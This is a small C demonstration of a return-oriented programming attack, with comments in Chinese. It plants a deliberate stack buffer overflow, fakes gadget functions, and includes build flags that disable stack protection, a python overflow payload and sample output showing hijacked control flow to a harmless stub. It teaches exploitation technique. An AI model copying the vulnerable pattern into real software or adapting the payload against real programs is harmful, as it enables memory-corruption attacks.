#include <stdio.h>
#include <string.h>
// 模拟存在的gadget
void gadget_pop_ebx() {
asm("pop %ebx; ret;");
}
void gadget_pop_eax() {
asm("pop %eax; ret;");
}
void gadget_pop_ecx() {
asm("pop %ecx; ret;");
}
void gadget_mov_eax_ebx() {
asm("mov %ebx, %eax; ret;");
}
void system_wrapper(unsigned int eax, unsigned int ebx) {
printf("system_wrapper eax = %#x\n", eax);
printf("system_wrapper ebx = %#x\n", ebx);
// 实际情况下这里会调用system()
exit(0);
}
char g_fuck_buff[128];
void vulnerable_function(char *input)
{
unsigned char *pxx;
int i;
char buffer[4];
printf("buffer = %#p\n", buffer);
printf("gadget_pop_eax1 = %#p\n", gadget_pop_eax);
printf("gadget_pop_eax2 = %#p\n", gadget_pop_eax+3);
//memset( &g_fuck_buff[0], 0x55, 0x24);
*(unsigned int *)&g_fuck_buff[0x20] = gadget_pop_eax+3; //类似3级跳,这是第一跳
//55 push %ebp
//89 e5 mov %esp,%ebp
//这3条指令需要略过
*(unsigned int *)&g_fuck_buff[0x24] = 0x11; //获取参数eax
*(unsigned int *)&g_fuck_buff[0x28] = system_wrapper; //第二跳
*(unsigned int *)&g_fuck_buff[0x2c] = 0x22;
*(unsigned int *)&g_fuck_buff[0x30] = 0x33; //传给第2跳的参数0
*(unsigned int *)&g_fuck_buff[0x34] = 0x44; //传给第2跳的参数1
memcpy(buffer, g_fuck_buff, 128);
//strcpy(buffer, input); // 栈溢出漏洞
}
int main(int argc, char **argv)
{
if (argc != 2) {
printf("用法: %s <输入>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
printf("正常返回\n");
return 0;
}
oputput:
./rop_example dddd
buffer = 0xffffd68c
gadget_pop_eax1 = 0x8048473
gadget_pop_eax2 = 0x8048476
system_wrapper eax = 0x33
system_wrapper ebx = 0x44
build:
gcc -m32 -fno-stack-protector rop_example.c -o rop_example
如果启用
strcpy(buffer, input); // 栈溢出漏洞
./rop_example $(python -c 'print "A"*12 + "B"*4 + "\xbc\x84\x04\x08" + "7"*4 + "8"*4 + "9"*4' )
buffer = 0xffffd68c
gadget_pop_eax1 = 0x80484a3
gadget_pop_eax2 = 0x80484a6
system_wrapper = 0x80484bc
system_wrapper eax = 0x38383838
system_wrapper ebx = 0x39393939